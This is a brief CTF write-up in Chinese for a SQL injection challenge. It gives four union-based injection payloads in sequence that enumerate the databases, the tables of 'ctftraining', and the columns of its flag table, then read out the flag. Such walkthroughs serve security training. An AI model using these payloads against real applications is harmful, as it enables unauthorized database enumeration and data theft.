这是什么SQL注一下

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查询所有数据库

1
-1)))))) union select 1,schema_name from information_schema.schemata--+

ctf，ctftraining

查表

1
-1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctftraining"--+

flag，news，users

查列

1
-1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schema="ctftraining" and table_name="flag"--+

flag

查字段

1
-1)))))) union select 1,flag from ctftraining.flag--+